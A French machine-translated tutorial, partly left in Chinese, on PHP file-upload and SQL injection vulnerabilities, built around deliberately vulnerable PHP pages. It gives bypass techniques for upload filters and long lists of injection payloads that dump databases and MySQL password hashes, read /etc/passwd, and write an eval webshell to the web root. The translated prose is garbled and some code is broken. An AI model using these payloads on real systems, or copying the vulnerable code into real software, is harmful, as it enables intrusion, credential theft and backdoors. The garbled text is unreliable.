Cet article vous apporte des connaissances pertinentes sur les vulnérabilités PHP. Il résume et présente principalement les codes de vulnérabilité courants de PHP. Il est très complet et détaillé. Examinons-le ensemble, j'espère qu'il sera utile aux amis dans le besoin.
Résumé de la vulnérabilité
Vulnérabilité de téléchargement de fichier PHP
Vérifiez uniquement le type MIME : Le type MIME téléchargé est vérifié dans le code, la méthode de contournement utilise Burp pour capturer le paquet et le paquet téléchargé la phrase est pony Content-Type dans *.php : application/php, remplacez-la par Content-Type : image/png puis téléchargez.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { // 判断 content-type 的类型,如果是image/png则通过 if($_FILES['upload_file']['type'] == 'image/png') { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) echo "上传完成."; else echo "上传出错."; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Contournement de la liste blanche : La liste blanche permet le téléchargement de certains types de fichiers. compare Safe, capturez le paquet et téléchargez la porte dérobée php, puis changez le nom du fichier en .jpg pour le télécharger avec succès, mais parfois le fichier téléchargé sera invalide et vous ne pourrez pas obtenir le Shell.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $allow_ext = array(".jpg",".png",".jpeg"); $file_name = trim($_FILES['upload_file']['name']); // 取出文件名 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA $file_ext = strtolower($file_ext); // 转换为小写 $file_ext = trim($file_ext); // 首尾去空 if(in_array($file_ext, $allow_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) echo "上传完成: {$img_path} <br>"; else echo "上传失败 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
En-tête du fichier de vérification de la liste blanche : Ceci Le niveau concerne principalement La transmission de trois types de fichiers, jpg/png/gif, est autorisée et le contenu de 2 octets de l'en-tête du fichier est détecté dans le code. Il suffit de modifier les deux premiers octets du fichier pour. le format d'image pour le contourner.
Habituellement JPEG/JPG : FF D8 | PNG : 89 50 | GIF : 47 49 En prenant JPEG comme exemple, on ajoute deux 11 au début de la phrase Trojan, qui est le binaire 3131, puis changez .php en .jpg, en utilisant Le paquet de capture Brup est envoyé au module Répéteur, et le code HEX 3131 est changé en FFD8 et le JPG est téléchargé avec succès après l'envoi.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode) { case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)) echo "上传完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Contourner la détection du en-tête de fichier : Cette méthode est basée sur une correspondance basée sur la position de départ de l'en-tête du fichier pour déterminer si le téléchargement est effectué, nous pouvons le contourner en ajoutant un en-tête de fichier légal devant le fichier téléchargé, par exemple en ajoutant GIF89a au début du fichier pour terminer le contournement, ou s'il s'agit de xffxd8xff, nous devons d'abord ajouter %ff%d8%ffURL->URL-Decode pour encoder et libérer.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $fh = fopen($filename, "rb"); if($fh) { $bytes = fread($fh,6); fclose($fh); if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){ return "image/jpeg"; } if($bytes == "\x89PNG\x0d\x0a"){ return "image/png"; } if($bytes == "GIF87a" or $bytes == "GIF89a"){ return "image/gif"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Contournement de la détection d'image Réussi : En utilisant la fonction d'image, il est détecté si le fichier est une image si nécessaire. être téléchargé, l'intégrité de l'image doit être maintenue, elle ne peut donc pas être contournée en ajoutant l'en-tête du fichier. Vous devez créer un cheval de Troie d'image à télécharger
Pour cette méthode de téléchargement, nous pouvons fusionner l'image et le fichier FIG. ensemble, copiez /b pic.gif+shell.php 1.php téléchargez pour contourner.
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { // 检查是否为图像 if(@getimagesize($filename)) { if(@imagecreatefromgif($filename)){ return "image/gif"; } if(@imagecreatefrompng($filename)){ return "image/png"; } if(@imagecreatefromjpeg($filename)){ return "image/jpeg"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Concours de conditions de téléchargement : Voici la concurrence de conditions, téléchargez d'abord le fichier sur le serveur, puis déterminez si le suffixe du fichier est dans la liste blanche, si c'est le cas, renommez-le, sinon supprimez-le, afin que nous puissions télécharger 1.php et n'avoir qu'à y accéder avant qu'il ne soit supprimé. Nous pouvons utiliser le module intrus de burp pour télécharger en continu, puis nous continuons à accéder et à actualiser. l'adresse
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)) { if(in_array($file_ext, $ext_arr)) { $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); echo "上传完成. <br>"; }else { unlink($upload_file); echo "上传失败. <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
Vulnérabilité d'injection PHP
Instructions de requête de base
Pour créer un environnement d'exploration d'injection SQL, assurez-vous d'abord que la version de MySQL est MySQL 5.7 ou supérieure, et importez le script de base de données ci-dessous pour créer automatiquement le script correspondant fichier de base de données.
drop database if exists lyshark; create database lyshark; use lyshark; drop table if exists local_user; create table local_user( id int(10) primary key not null, username varchar(100) not null, password varchar(100) not null, usremail varchar(100) not null, usertype int(1) default 0 ); alert table local_user character set utf8; insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"), (2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"), (4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"), (6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"), (8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"), (10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
Ensuite, installez l'environnement PHP7.0 ou supérieur, créez le fichier index.php, écrivez le code de test suivant, veuillez modifier vous-même le mot de passe de la base de données.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) $row = mysqli_fetch_array($query); } } ?> <body> <table border="1"> <tr> <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th> </tr> <tr> <td><?php echo $row['id']; ?></td> <td><?php echo $row['username']; ?></td> <td><?php echo $row['password']; ?></td> <td><?php echo $row['usremail']; ?></td> <td><?php echo $row['usertype']; ?></td> </tr> </table><br> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>
Numéro de champ de requête Union : Union peut être utilisée pour un ou plusieurs jeux de résultats SELECT, mais il a une condition, c'est-à-dire que les deux instructions de requête select doivent avoir les mêmes colonnes avant de pouvoir être exécutées. Grâce à cette fonctionnalité, nous pouvons effectuer des requêtes comparatives, c'est-à-dire lorsque nous nous unissons. sélectionner des colonnes Lorsque la colonne qu'elle interroge est la même, la page revient normalement
Tout d'abord, on suppose que la page ne renvoie pas lorsque le nombre actuel de champs est de 4, ce qui signifie que le nombre de champs de la table doit être plus grand. que 4. Ajoutez ensuite un champ et interrogez 1, 2, la page s'affiche normalement à 3, 4 et 5, indiquant que la structure de la table comporte 5 champs
index.php?id=1' and 1=0 union select 1,2,3,4 --+ index.php?id=1' and 1=0 union select 1,2,3,4,5 --+ index.php?id=1' and 1=0 union select null,null,null,null,null --+
Order By query field number : Dans l'instruction SQL, le spécifié. Les colonnes de l'ensemble de résultats sont triées. Par exemple, nous voulons que l'ensemble de résultats soit trié. Le tri par la première colonne est ordonné par 1, le tri par la deuxième colonne, l'ordre par 2, et ainsi de suite. Selon ce principe, nous jugeons. le nombre de champs. Si nous trions par la première colonne, la base de données retournera normalement, mais lorsque nous trions par le tri de la 100e colonne, parce que la 100e colonne n'existe pas dans la base de données, une erreur est signalée ou ne peut pas être affichée normalement.
Nous avons d'abord deviné que la base de données contenait 6 champs. Nous avons essayé de trier en fonction de la 6ème ligne et avons constaté que les données ne pouvaient pas être affichées, indiquant qu'elles étaient inférieures à 6. Nous continuons à utiliser 5 tests et les résultats sont les suivants. renvoyé à ce moment.
index.php?id=1' and 1 order by 6 --+ index.php?id=1' and 1 order by 5 --+
La plupart des programmes appelleront uniquement la première instruction de la requête de base de données pour interroger, puis reviendront Si les données que nous voulons voir se trouvent dans la deuxième instruction, si nous voulons voir, il existe deux façons d'obtenir. les données que nous voulons. La première est de rendre les premières données fausses, et la seconde est de renvoyer directement les données que nous voulons via l'instruction sql
Dans la première manière, nous laissons la première requête Le résultat est toujours faux, qui est obtenu en utilisant et 0, ou via l'instruction limit. Limit est utilisé pour la pagination dans MySQL Grâce à cela, nous pouvons obtenir les données souhaitées à partir des données interrogées.
index.php?id=1' and 0 union select null,null,null,null,null --+ index.php?id=1' and 0 union select null,version(),null,null,null --+ index.php?id=1' union select null,null,null,null,null limit 1,1 --+ index.php?id=1' union select null,version(),null,null,null limit 1,1 --+
Vérifiez toutes les bases de données Nom : Par défaut, MySQL place toutes les données de la table dans la table information_schema.schemata pour le stockage. Nous pouvons interroger les données de cette table pour connaître tous les noms de bases de données du système actuel. En contrôlant les paramètres dans la limite, nous pouvons exploser toutes les bases de données.
index.php?id=1' and 0 union select 1,1,database(),1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.
# 通过 limit 限定条件每次只输出一个表名称 index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 --+ # 通过 concat 函数一次性输出所有表 index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='lyshark' --+
查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.
# 查询出lyshark数据库local_user表中的,所有字段 index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns > where table_schema='lyshark' and table_name='local_user' --+ # 每次读取出一个表中字段,使用limit进行遍历 index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 1,1 --+
查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+ index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.
# ----------------------------------------------------------------------------------- # 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断. index.php?id=1' and 1=1 --+ # 提交and判断注入 index.php?id=1' and 1=0 --+ index.php?id=1%2b1 # 提交加号判断注入 index.php?id=2-1 # 提交减号判断注入 index.php?id=1 and sleep(5) # 延时判断诸如点 # ----------------------------------------------------------------------------------- # 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限. index.php?id=1' and ord(mid(user(),1,1)) = 114 --+ # ----------------------------------------------------------------------------------- # 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了. index.php?id=1' and(select count(*) from mysql.user) > 0 # ----------------------------------------------------------------------------------- # 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释. index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本 index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本 # ----------------------------------------------------------------------------------- # 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限. index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+ index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+ index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+ index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+ # ----------------------------------------------------------------------------------- # 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话 create table shell(cmd text); insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>'); select cmd from shell into outfile('/var/www/html/eval.php'); # ----------------------------------------------------------------------------------- # 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作. index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件 index.php?id=1' union select 1,1,@@datadir // 判断数据库目录 index.php?id=1' union select 1,1,@@basedir // 判断安装根路径 index.php?id=1' union select 1,1,@@hostname // 判断主机名 index.php?id=1' union select 1,1,@@version // 判断数据库版本 index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux) index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86) index.php?id=1' union select 1,1,user() // 曝出系统用户 index.php?id=1' union select 1,1,database() // 曝出当前数据库
GET 注入
简单的注入测试: 本关中没有对代码进行任何的过滤.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <?php function getCurrentUrl() { $scheme = $_SERVER['REQUEST_SCHEME']; // 协议 $domain = $_SERVER['HTTP_HOST']; // 域名 $requestUri = $_SERVER['REQUEST_URI']; // 请求参数 $currentUrl = $scheme . "://" . $domain . $requestUri; return urldecode($currentUrl); } ?> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select username,password from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<font size='5'>"; echo "账号: {$row['username']} <br>"; echo "密码: {$row['password']} <br>"; echo "</font>"; echo "后端执行语句: {$sql} <br>"; $URL = getCurrentUrl(); echo "后端URL参数: {$URL} <br>"; } else { echo "后端执行语句: {$sql} <br>"; print_r(mysql_error()); } } } } ?> </body> </html>
SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.
--------------------------------------------------------------------------------- $sql = "select username,password from local_user where id=$id limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1) union select 1,version() --+ http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+ --------------------------------------------------------------------------------- $sql = "select username,password from local_user where id='$id' limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=('$id') limit 0,1"; http://127.0.0.1/index.php?id=-1') union select 1,version() --+ http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+ $sql = "select username,password from local_user where id=(('$id')) limit 0,1"; http://127.0.0.1/index.php?id=-1')) union select 1,version() --+ --------------------------------------------------------------------------------- $id = '"' . $id . "'"; $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1") union select 1,version() --+ http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
POST 输入框注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); if(isset($_POST['uname']) && isset($_POST['passwd'])) { $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.
# --------------------------------------------------------------------------------------------------------- # SQL语句 $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # --------------------------------------------------------------------------------------------------------- # 爆出字段数 admin' order by 1 # admin' order by 2 -- admin' and 1 union select 1,2,3 # admin' and 1 union select 1,2 # # 爆出数据库 admin ' and 0 union select null,database() # admin' and 0 union select 1,version() # # 爆出所有表名称(需要注意数据库编码格式) set character_set_database=utf8; set collation_database= utf8_general_ci alter table local_user convert to character set utf8; ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 # ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 # # 爆出表中字段 ' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 # ' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 # # 继续爆出所有的用户名密码 ' union select null,group_concat(username,0x3a,password) from local_user # # --------------------------------------------------------------------------------------------------------- # 双注入-字符型 # 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可 $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1"; #payload admin") order by 2 # admin") and 0 union select 1,version() # admin") and 0 union select 1,database() # # --------------------------------------------------------------------------------------------------------- # POST型的-双注入 # $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1"; admin" and 0 union select 1,version() #
Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.
建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256)); <!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { // 获取到用户的Agent客户请求体 $Uagent = $_SERVER['HTTP_USER_AGENT']; // REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的 $IP = $_SERVER['REMOTE_ADDR']; echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "您的IP地址是: {$IP} <br>"; $insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')"; mysqli_query($connect,$insert_sql); echo "User_Agent请求头: {$Uagent} <br>"; } } } } ?> </body> </html>
首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.
POST /post.php HTTP/1.1 Host: 192.168.1.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 uname=admin&passwd=123123&submit=Submit
修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.
User-Agent: 1',1,1)# uname=admin&passwd=123123&submit=Submit User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)# uname=admin&passwd=123123&submit=Submit
Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input type="text" name="uname" value=""/><br> 密码: <input type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $cookee = $_COOKIE['uname']; if($cookee) { $sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1"; $query = mysqli_query($connect,$sql); echo "执行SQL: " . $sql . "<br>"; if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br> COOKIE 已登录 <br>"; echo "您的账号: " . $row['username'] . "<br>"; echo "您的密码: " . $row['password'] . "<br>"; } } } if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); $cookee = $row['username']; if($row) { setcookie('uname', $cookee, time() + 3600); $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "COOKIE已设置: " . date($format, $timestamp); } } } } ?> </body> </html>
以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.
Cookie: uname=admin' and 0 union select database(),2--+ Cookie: uname=admin' and 0 union select version(),2--+
update-xml注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php error_reporting(0); header("Content-type: text/html;charset=utf8"); function Check($value) { if(!empty($value)) { // 如果结果不为空,则取出其前十五个字符 18 $value = substr($value,0,15); } // 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1 // 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0 if(get_magic_quotes_gpc()) { // 删除由 addslashes() 函数添加的反斜杠 $value = stripslashes($value); } if(!ctype_digit($value)) { // ctype_digit()判断是不是数字,是数字就返回true,否则返回false // mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。 $value = "'" . mysql_real_escape_string($value) . "."; } else $value = intval($value); return $value; } $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=Check($_POST['uname']); $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { $rows = $row['username']; $udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'"; mysql_query($update); if(mysql_error()) { print_r(mysql_error()); } echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
推荐学习:《PHP视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!